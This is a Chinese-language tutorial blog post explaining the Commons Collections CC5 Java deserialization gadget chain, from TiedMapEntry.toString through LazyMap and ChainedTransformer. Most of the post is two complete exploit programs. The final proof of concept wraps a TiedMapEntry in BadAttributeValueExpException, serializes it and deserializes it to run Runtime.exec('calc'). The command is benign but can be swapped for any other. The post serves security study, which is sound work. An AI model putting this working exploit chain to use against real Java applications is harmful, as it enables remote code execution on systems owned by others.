java反序列化之CC5超详细易懂分析

java反序列化之CC5超详细易懂分析

前言

在你学习这篇文章之前，cc1和cc6已经已经是会的，这样才能更好的来理解这篇文章

TiedMapEntry

我们回想cc6的时候触发lazymap的get方法我们使用的是TiedMapEntry类的hashcode去触发getvalue方法

但是其实触发getvalue的很多

    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        }
        if (obj instanceof Map.Entry == false) {
            return false;
        }
        Map.Entry other = (Map.Entry) obj;
        Object value = getValue();
        return
            (key == null ? other.getKey() == null : key.equals(other.getKey())) &&
            (value == null ? other.getValue() == null : value.equals(other.getValue()));
    }

    /**
     * Gets a hashCode compatible with the equals method.
     * <p>
     * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
     * 
     * @return a suitable hash code
     */
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

    /**
     * Gets a string version of the entry.
     * 
     * @return entry as a string
     */
    public String toString() {
        return getKey() + "=" + getValue();
    }

可以看到是有三个的，这里我们cc5使用的就是toString()方法去触发
exp：

package CC5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class CC5 {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        HashMap map=new HashMap();
        Map lazymap = LazyMap.decorate(map,chain);
        TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap,1);
        tiedMapEntry.getValue();
    }

        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
            out.writeObject(obj);
        }

        public static void unserialize(String filename) throws IOException, ClassNotFoundException {
            ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
            out.readObject();
        }
}

怎么触发tostring呢？

BadAttributeValueExpException

我们看到这个类

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

可以发现它不仅实现了我们最希望的readobject方法，还实现了我们的tostring方法

但是有一个if条件，只需要绕过if条件，但是这个根本不需要绕，因为我们传入的TieMapEntry就可以绕过了
下面来实现这个方法

poc

package CC5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class CC5 {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        HashMap map=new HashMap();
        Map lazymap = LazyMap.decorate(map,chain);
        TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap,1);
        BadAttributeValueExpException badAttributeValueExpException =new BadAttributeValueExpException(tiedMapEntry);
        Object o =badAttributeValueExpException;
        serialize(o);
        unserialize("1.bin");
    }

        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
            out.writeObject(obj);
        }

        public static void unserialize(String filename) throws IOException, ClassNotFoundException {
            ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
            out.readObject();
        }
}

也是成功的弹出了计算器
这个还是简单的

总结

我们来回顾一下调用过程
BadAttributeValueExpException.readobject()—TiedMapEntry.tostring—TiedMapEntry.getvalue—LazyMap.get—chaintransformer.transform—后面的就是那个简单的链子呢